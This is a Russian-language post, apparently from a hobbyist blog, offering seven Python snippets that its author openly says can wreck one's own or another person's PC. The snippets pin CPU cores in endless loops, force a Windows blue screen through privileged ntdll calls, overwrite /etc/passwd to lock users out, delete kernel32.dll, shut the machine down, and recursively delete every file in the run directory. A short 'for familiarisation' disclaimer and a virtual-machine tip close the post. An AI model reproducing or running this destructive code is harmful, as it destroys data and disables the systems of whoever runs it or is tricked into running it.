Так как сегодня ничего выложить не получилось (самообучался), выложу вам пару строк, которые могут помочь угробить свой чужой ПК. Юзать с умом, лечить - не буду.



1. Бесконечный цикл, который грузит 8-ядерный проц и ниже:



from multiprocessing import Process



def stress():

while True:

pass



# Запускаем 8 процессов

processes = []

for _ in range(8):



p = Process(target=stress)

p.start()

processes.append(p)




2. Вызываем BSOD:



from ctypes import windll

from ctypes import c_int

from ctypes import c_uint

from ctypes import c_ulong

from ctypes import POINTER

from ctypes import byref



nullptr = POINTER(c_int)()



windll.ntdll.RtlAdjustPrivilege(

c_uint(19),

c_uint(1),

c_uint(0),

byref(c_int())

)



windll.ntdll.NtRaiseHardError(

c_ulong(0xC000007B),

c_ulong(0),

nullptr,

nullptr,

c_uint(6),

byref(c_uint())

)


3. Создает кучу папок, можно перегрузить HDD/SSD:



import os

for i in range(100):

os.makedirs(f'/tmp/fake_folder_{i}')




4. Стирает инфу о пользователях системы, юзер не сможет зайти в свой профиль:



with open("/etc/passwd", "w") as f:

f.write("hacked_user:x:1000:1000:hacked_user:/home/hacked_user:/bin/bash")




5. Ну тут беда:



import os

os.remove("C:\\Windows\\System32\\kernel32.dll")




6. Простое выключение:



import os

os.system("shutdown /s /t 1")




7. Удаляет все файлы в папке, откуда запустят:



import os

import shutil





for filename in os.listdir("."):

file_path = os.path.join(".", filename)

try:

if os.path.isfile(file_path) or os.path.islink(file_path):

os.unlink(file_path)

elif os.path.isdir(file_path):

shutil.rmtree(file_path)

except Exception as e:

print(f"Ошибка при удалении {file_path}: {e}")




ВСЕ ПРЕДСТАВЛЕНО В ЦЕЛЯХ ОЗНАКОМЛЕНИЯ С ВОЗМОЖНОСТЯМИ Python.



Дети мои, в случае убийства своей системы, притензии только к Вам и Вам. Используйте код на виртуальной машине, и если даже вредоносный софт каку пишете, то там же и тестируйте. Всем любви!